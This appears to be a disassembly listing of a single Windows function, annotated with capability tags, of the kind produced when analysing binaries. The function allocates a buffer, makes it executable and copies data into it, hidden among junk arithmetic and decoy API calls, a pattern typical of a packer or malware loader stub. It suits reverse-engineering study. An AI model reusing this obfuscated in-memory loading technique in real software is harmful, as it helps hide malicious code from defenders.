Function at 0x405a3b
Capabilities:
Allocate or change rwx memory
Get hostname
Identify system language via api

Disassembly:
push ebp
sub esp, 0x74
mov eax, 0x41769e
call fcn.00407128
mov eax, 0x1708
call fcn.00406ad0
mov eax, dword [0x41b80c]
push esi
push edi
push dword [0x4ebd94]
xor esi, esi
push esi
mov dword [0x4ebd98], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp + 0x70]
push ecx
push 0x40
push dword [0x4ebd94]
mov dword [0x4b0864], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x129adee
jge 0x40615d
mov dword [ebp + 0x48], 0x16b700e0
mov dword [ebp - 0xa4], 0x729fb588
mov dword [ebp + 0x34], 0x77dc540a
mov dword [ebp + 0x68], 0x3cce353c
mov dword [ebp + 0x10], 0x7e9bacb0
mov dword [ebp - 0x9c], 0x1db2bd3d
mov dword [ebp - 0x84], 0x20627d21
mov dword [ebp - 0x1c], 0x3f6ac131
mov dword [ebp - 0x58], 0x4429947a
mov dword [ebp - 0x18], 0x5a1efe77
mov dword [ebp - 0x48], 0x4f98a507
mov dword [ebp - 0x10], 0x132dd8ea
mov dword [ebp - 0x68], 0x3c255f10
mov dword [ebp + 0x3c], 0x36416eaf
mov dword [ebp - 0x8c], 0xe14f715
mov dword [ebp - 0x6c], 0x7d5c34bd
mov dword [ebp + 0x44], 0x28df196a
mov dword [ebp + 0x18], 0x37dcb12c
mov dword [ebp - 0x3c], 0x72fc7d09
mov dword [ebp + 0x60], 0x5147c96c
mov dword [ebp - 0x90], 0x704b32f3
mov dword [ebp + 0x38], 0x5f8f1819
mov dword [ebp + 0x50], 0x27a76e55
mov dword [ebp - 0x40], 0x22fa090
mov dword [ebp - 0x38], 0x670e8118
mov dword [ebp + 4], 0xe01cd9b
mov dword [ebp - 0x30], 0x3c082c18
mov dword [ebp - 0xa8], 0x3ecf8779
mov dword [ebp + 0x6c], 0x3686b744
mov dword [ebp - 0x28], 0x38c96a6e
mov dword [ebp + 8], 0x1dd9dcf9
mov dword [ebp + 0xc], 0x3f99f2e3
mov dword [ebp - 0x98], 0x76152ab6
mov dword [ebp - 0x44], 0x35d35e74
mov dword [ebp - 0x74], 0x7f54c16b
mov dword [ebp + 0x14], 0x3ed4b651
mov dword [ebp + 0x28], 0x626e8506
mov dword [ebp - 0x2c], 0x5edd1c6f
mov dword [ebp - 0x5c], 0x7467e854
mov dword [ebp + 0x40], 0x678283b1
mov dword [ebp + 0x1c], 0x7774bd03
mov dword [ebp + 0x4c], 0x34eec2c0
mov dword [ebp + 0x58], 0x23ee5613
mov dword [ebp - 0xa0], 0x7710f6f
mov dword [ebp - 0x54], 0x4aa513f0
mov dword [ebp - 0x14], 0x14c03604
mov dword [ebp - 0x50], 0x709d39b2
mov dword [ebp - 0x88], 0x2d9fc390
mov dword [ebp - 0x4c], 0xdc26664
mov dword [ebp - 0x60], 0xef0aa3c
mov dword [ebp - 0x7c], 0x59d10e2f
mov dword [ebp - 0x80], 0xdb5b201
mov dword [ebp - 0x64], 0x3d00c619
mov dword [ebp - 0x34], 0x2ee3cb51
mov dword [ebp - 0x78], 0x5c1ad1e2
mov dword [ebp + 0x74], 0x6d5a82ad
mov dword [ebp + 0x24], 0x6415b55c
mov dword [ebp + 0x20], 0x43086827
mov dword [ebp + 0x54], 0x42d3b3fd
mov dword [ebp + 0x2c], 0x8ebf9f3
mov dword [ebp + 0x64], 0x3289be56
mov dword [ebp - 0x20], 0x198f9d06
mov dword [ebp - 0x24], 0x51e34c97
mov dword [ebp], 0x3238d997
mov dword [ebp + 0x5c], 0x2afa9fe6
mov dword [ebp + 0x30], 0x274f0a8c
mov dword [ebp - 0x70], 0x5900053b
sub dword [ebp + 0x48], 0x4a11786
add dword [ebp + 0x48], 0x4560716b
mov eax, 0x522900b3
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
mov eax, 0x22cd0ca2
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
sub dword [ebp + 0x34], 0x72fd1c75
mov eax, 0x46d31cbb
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
sub dword [ebp + 0x48], 0x2a2e8e8
sub dword [ebp + 0x48], 0x1e649d84
mov eax, 0x7194721d
mul dword [ebp + 0x34]
mov eax, dword [ebp + 0x34]
sub dword [ebp + 0x34], 0x1adfd311
mov eax, 0x7afa2ad5
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
sub dword [ebp - 0xa4], 0x3f0a0b7
sub dword [ebp - 0xa4], 0x31fc1696
sub dword [ebp - 0xa4], 0x5e14f9c9
add dword [ebp + 0x68], 0xd42e0
mov eax, 0x7af7a001
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, 0x3e317626
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
sub dword [ebp + 0x10], 0x3c18d7b7
sub dword [ebp + 0x34], 0x2002a17a
mov eax, 0x51d6ae4b
mul dword [ebp + 0x34]
mov eax, dword [ebp + 0x34]
add dword [ebp - 0xa4], 0x66fa3a6b
add dword [ebp - 0x9c], 0x7644be02
sub dword [ebp + 0x68], 0x38077f3b
mov eax, 0x2116605d
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
mov eax, 0x4cb20c73
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
add dword [ebp - 0x84], 0x6861ed43
add dword [ebp + 0x10], 0x2149ea17
sub dword [ebp + 0x48], 0x42dd5e39
mov eax, 0x6bb93c59
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
add dword [ebp + 0x68], 0x3fde49f0
add dword [ebp + 0x34], 0x24c6ffa8
mov eax, 0x628826ee
mul dword [ebp + 0x34]
mov eax, dword [ebp + 0x34]
add dword [ebp - 0x84], 0x1057b77
sub dword [ebp - 0x1c], 0x49b1f22e
add dword [ebp + 0x48], 0x53f6c871
sub dword [ebp + 0x48], 0x31e78741
mov eax, 0x4a75ae51
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
mov eax, 0x45a7f857
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, 0x5990ae78
mul dword [ebp + 0x34]
mov eax, dword [ebp + 0x34]
add dword [ebp - 0x9c], 0x3718ba5b
sub dword [ebp + 0x10], 0x459675f0
mov eax, 0x2a4f8c2c
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
sub dword [ebp - 0x18], 0x39fd0a2
add dword [ebp - 0x48], 0x727a9530
mov eax, 0x99a8666
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x4a6ceb0d
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
sub dword [ebp - 0x48], 0x56301dce
sub dword [ebp - 0x1c], 0x485ad839
mov eax, 0x2883da3c
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
sub dword [ebp - 0x10], 0x6f733afe
sub dword [ebp - 0x10], 0x1acbf0c0
add dword [ebp - 0x10], 0x6bbfcb99
mov eax, 0x629d1da5
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
add dword [ebp - 0x8c], 0x6a615b6a
add dword [ebp + 0x68], 0x403e4fb5
mov eax, 0x5a4bc208
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, 0x3c6c12d9
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, 0x6402f2d4
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
sub dword [ebp - 0xa4], 0x5ec62208
add dword [ebp - 0x68], 0x39bcf23a
sub dword [ebp - 0xa4], 0x746a7ea9
add dword [ebp - 0x68], 0x1b651608
add dword [ebp + 0x3c], 0x524f99ee
sub dword [ebp + 0x68], 0x76b5296
mov eax, 0x2dab42b8
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
sub dword [ebp - 0x9c], 0x1ca732cc
add dword [ebp - 0x1c], 0x4a0bd545
mov eax, 0x2eac636b
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
sub dword [ebp + 0x18], 0x249dac94
sub dword [ebp + 0x68], 0x6fb1faa3
sub dword [ebp + 0x50], 0x50ecbeb8
add dword [ebp - 0x90], 0x4d7e5689
add dword [ebp - 0x68], 0x591a883a
add dword [ebp - 0xa4], 0x78fc8c1e
sub dword [ebp - 0x8c], 0x3ecbf404
sub dword [ebp + 4], 0x6fe1682
add dword [ebp - 0x1c], 0x9e116c0
add dword [ebp + 0x34], 0x42f97163
sub dword [ebp + 0x3c], 0x7593f15b
add dword [ebp - 0x84], 0x7eef95db
add dword [ebp + 0x50], 0x6c82abb3
sub dword [ebp + 0x50], 0x6508f030
sub dword [ebp - 0x98], 0x1c707926
mov eax, 0x5a632c2f
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
mov eax, 0x33609ce5
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
sub dword [ebp + 0x10], 0x21ba796a
sub dword [ebp + 0x44], 0x495bf23b
add dword [ebp + 0x18], 0x4af4edd1
add dword [ebp + 0x3c], 0x5367e117
add dword [ebp - 0x98], 0x300e1081
add dword [ebp + 8], 0x32361f60
sub dword [ebp - 0x44], 0x70fde692
sub dword [ebp + 0x48], 0x103a5e93
mov eax, 0x749b391
mul dword [ebp + 0x48]
mov eax, dword [ebp + 0x48]
mov eax, 0x46a82593
mul dword [ebp + 0x40]
mov eax, dword [ebp + 0x40]
add dword [ebp - 0x5c], 0x529fcf39
add dword [ebp + 0x38], 0x7c9f7835
mov eax, 0x310b38f7
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub dword [ebp + 0x14], 0x708c25b4
add dword [ebp - 0x90], 0x36d67e57
sub dword [ebp + 0xc], 0x57fb3c02
sub dword [ebp + 0x40], 0x3f99fb2a
mov eax, 0x2af2f096
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, 0x2e5d590b
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub dword [ebp - 0x1c], 0x74f97a90
sub dword [ebp - 0x38], 0x17ce5752
mov eax, 0x4d4d3413
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub dword [ebp - 0x4c], 0x4821aa3d
add dword [ebp + 0x68], 0x3a3f3a40
sub dword [ebp - 0xa4], 0x1de8200
add dword [ebp - 0x8c], 0x6c325c08
add dword [ebp - 0x34], 0x60a345da
sub dword [ebp - 0x5c], 0xc11cad6
mov eax, 0x1b066e32
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
sub dword [ebp - 0x88], 0x24391f5c
sub dword [ebp + 0x44], 0x7643ad89
sub dword [ebp - 0x9c], 0x21db0587
mov eax, 0x1e7b1904
mul dword [ebp + 0x4c]
mov eax, dword [ebp + 0x4c]
mov eax, 0x22bad2cf
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
add dword [ebp - 0xa4], 0x6c6ae23
sub dword [ebp - 0x80], 0x17d6899a
mov eax, 0x3ec9a467
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, 0x209572a5
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, 0x5651a17b
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x34], 0x4749c337
add dword [ebp - 0x4c], 0x4dd6c6ef
add dword [ebp + 0x14], 0x402e7a02
mov eax, 0x122beb1d
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
add dword [ebp - 0x10], 0x4d6aa82
mov eax, 0x39bc65cf
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x125b0743
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x4eda1907
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, 0x74d17c3e
mul dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
cmp edi, 0x12a82b5
jg 0x406178
inc edi
cmp edi, 0x17c462e4
jl 0x405a88
xor edi, edi
inc edi
cmp dword [0x4ebd94], 0x16
jne 0x406247
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x4c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0xf14]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x401364
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
lea eax, [ebp - 0x714]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push esi
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xac], 0xf
call fcn.00405872
push 0x401394
push 0x401398
push esi
mov dword [ebp - 4], esi
call fcn.004074ff
push esi
call fcn.00407407
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.0040553f
fstp st(0)
push ecx
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.0040551c
fstp st(0)
push esi
call fcn.004072a8
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004054f9
fstp st(0)
or dword [ebp - 4], 0xffffffff
push esi
push edi
lea ecx, [ebp - 0xc4]
call fcn.00405897
cmp dword [0x4ebd94], 0xc
jne 0x4062bf
push esi
lea eax, [ebp - 0xf14]
push eax
push esi
push 0x4013a0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
call fcn.00407407
push esi
push esi
call fcn.00407263
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004054f9
fstp st(0)
push esi
push esi
call fcn.00407147
pop ecx
pop ecx
lea ecx, [ebp - 0xc0]
call fcn.00405994
lea eax, [ebp - 0xc0]
push eax
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], edi
call fcn.00405901
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.00405a0c
xor edi, edi
cmp dword [0x4ebd94], esi
jbe 0x406312
mov eax, dword [0x4ebd98]
mov dword [ebp + 0x74], eax
mov eax, 0xb2d3b
add dword [ebp + 0x74], eax
mov eax, dword [ebp + 0x74]
mov al, byte [eax + edi]
mov ecx, dword [0x4b0864]
mov byte [edi + ecx], al
cmp dword [0x4ebd94], 0x44
jne 0x406309
push esi
lea eax, [ebp - 0x4c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
inc edi
cmp edi, dword [0x4ebd94]
jb 0x4062c9
xor edi, edi
mov eax, dword [0x4ebd94]
add eax, edi
cmp eax, 0x5e
jne 0x40634e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0x4013d0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
lea eax, [ebp - 0x4c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x4013ec
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
inc edi
cmp edi, 0x40c893
jl 0x406314
mov edx, dword [0x4ebd94]
mov ecx, dword [0x4b0864]
push 0x419008
call fcn.0040570c
xor eax, eax
cmp eax, 0x770e
jne 0x406389
mov dword [ebp + 0x74], esi
add dword [ebp + 0x74], 0
mov ecx, dword [ebp + 0x74]
add dword [0x4b0864], ecx
inc eax
cmp eax, 0x286b97d
jl 0x40636f
push 0x7b
pop edi
cmp dword [0x4ebd94], 0xd
jne 0x4063ad
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
cmp dword [0x4ebd94], 0xf
jne 0x4063cc
push esi
push esi
lea eax, [ebp - 0x1714]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
dec edi
jne 0x406394
push 0x4013f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
add ebp, 0x78
leave
ret